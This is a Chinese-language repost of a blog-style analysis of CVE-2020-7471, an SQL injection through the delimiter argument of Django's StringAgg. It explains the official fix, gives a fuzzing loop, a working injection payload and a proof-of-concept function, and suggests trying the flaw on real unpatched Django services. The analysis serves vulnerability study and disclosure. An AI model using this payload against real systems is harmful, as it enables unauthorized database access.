前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-7471 漏洞详细分析原理以及POC

CVE-2020-7471 漏洞详细分析原理以及POC

作者头像
C4rpeDime
发布2020-02-24 15:56:43
3.5K0
发布2020-02-24 15:56:43
举报
文章被收录于专栏:黑白安全黑白安全

这几天疫情爆发,只能待在家里为社会多做些贡献,一天深夜无意逛安全资讯的时候发现最新的一个漏洞:CVE-2020-7471 Potential SQL injection via StringAgg(delimiter)。漏洞是 django 的,于是我将漏洞编号拿到 google 查找了一番,发现并没有找到任何关于这个漏洞的详细说明和利用 POC,于是我动手写下了这篇文章。

本文主要贡献:

  • 总结了该漏洞的起因和背景,并深入分析了官方的修复方案
  • 详细分析了 这个 SQL 漏洞,并给出利用姿势
  • 在本文公开自己搭建的漏洞环境和 POC

漏洞原因

摘录 CVE-2020-7471 对这个漏洞的描述:

Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 befor

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

e 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.

可以看见这个漏洞的核心是 StringAgg 聚合函数的 delimiter 参数存在 SQL 注入漏洞。但是很快,为什么存在漏洞?怎么利用这个漏洞?二个问题在我心中油然而生,好奇心驱使我继续往下探索:

官方修复

首先在 Github 仓库查找 django 的 commit 记录,在这里不难发现官方对其的修复:

https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

从这里我们知道几个信息,漏洞函数位于下面的模块之中

代码语言:javascript
复制
from django.contrib.postgres.aggregates import StringAgg

官方对 delimiter 使用如下语句处理来防御 django

代码语言:javascript
复制
Value(str(delimiter))

为什么这种方式能防御呢?首先补充一个知识点,如果你熟悉 django 或者至少做过 django 渗透,你应该知道在 django 开发中编写查询操作的时候,正确的做法是用下面的代码段:

代码语言:javascript
复制
sql = "SELECT * FROM user_contacts WHERE username = %s"user = 'zhugedali'cursor.execute(sql, [user])

django会根据你所使用的数据库服务器(例如PostSQL或者MySQL)的转换规则,自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险:

代码语言:javascript
复制
sql = "SELECT * FROM user_contacts WHERE username = %s" % 'zhugedali'cursor.execute(sql)

那么回到正题,为什么 Value 函数可以解决 SQL 注入隐患,我们跟进 django 的源码查看:

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

注释写的非常清楚,Vlue处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。

到这里想必很多读者还是很好奇对于存在漏洞的版本我们如何去利用 SQL 漏洞呢?这就需要费点时间去搭建环境并从源码层面分析出 SQL 漏洞点的上下文语句情况。

漏洞利用

我搭建的环境如下:

  • django 3.0.2
  • postgres 10.11-3
  • python 3.6

搭建环境的时候注意 django 配置好 settings.py 文件,并初始化 postgres 的数据库和数据表,文末会提供环境。

首先研究一下 StringAgg 的用法,直接阅读官方手册:

https://docs.djangoproject.com/en/3.0/ref/contrib/postgres/aggregates/

django.contrib.postgres.aggregates 提供 postggres 的聚合函数,其中的 StringAgg 类的参数如下:

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

简单来讲他会将输入的值使用 delimiter 分隔符级联起来,Django 的 Model 类如何使用这个让我摸索了一会,我直接给出后面会提供的 POC 里面的示例:

代码语言:javascript
复制
Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))

这个查询操作就是查询 Info 对应的 postgres 数据表的 gender 列,并将 name 列使用横线连接聚合,输入如下:

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

为了测试出 delimiter 是如何导致SQL 注入的,我首先编写了一段 FUZZ 程序用于引发程序报错:

代码语言:javascript
复制
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
    for e in results:
        pass

测试发现当 delimiter 是单引号的时候会导致报错:

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

从报错信息很明显看出单引号未经过任何转义嵌入到 SQL 语句中了。然后我们来追踪程序的内部找出完整的 SQL 语句上下文。

我们上面的查询语句调用了 self.cursor.execute,从变量窗口可以看到此时变量窗口的 sql 变量还没有嵌入 delimiter 的值。

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

在 86 行设置断点,再运行三次可以看到此时的 sql 已经加入了 delimiter 为单引号的取值:

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

这里的转义号是因为 sql 是个字符串,这行命令最终放入 postgres 中执行就变成了:

代码语言:javascript
复制
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1

三个单引号那里会导致语法错误,并且我们将完整的 SQL 注入上下文环境得到了。在我的 POC 中我测试了 postgres 的注释符,即将 delimiter 设置为 ')--,报错如下:

CVE-2020-7471 漏洞详细分析原理以及POC
CVE-2020-7471 漏洞详细分析原理以及POC

很明显可以看到成功注释了 FROM 语句。为了构造合法的上下文语句我们将 delimiter 设置为:

代码语言:javascript
复制
'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '

传入之后发现,输出是:

代码语言:javascript
复制
{'gender': 'male', 'mydefinedname': 'li-zhao'}

如果只传入 delimiter = '-',输出如下:

代码语言:javascript
复制
{'gender': 'female', 'mydefinedname': 'zhang'}{'gender': 'male', 'mydefinedname': 'li-zhao'}

至此漏洞证明完毕

进一步,我们可以思考近期如果遇到真实环境中有 django 开发的服务返回一些查询的聚合内容,并且允许用户指定哪种连接符的时候,应该多加思考是否该服务未更新为最新版本,可以尝试这个 CVE 漏洞。

漏洞环境和 POC

https://github.com/Saferman/CVE-2020-7471

核心函数如下:

代码语言:javascript
复制
def query_with_evil():
    '''    注入点证明    分别设置delimiter为 单引号 二个单引号 二个双引号    尝试注释后面的内容 ')--    :return:    '''
    print("[+]正常的输出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入后的的输出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)

文由先知社区https://xz.aliyun.com/t/7218

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-02-201,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞原因
  • 官方修复
  • 漏洞利用
  • 漏洞环境和 POC
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档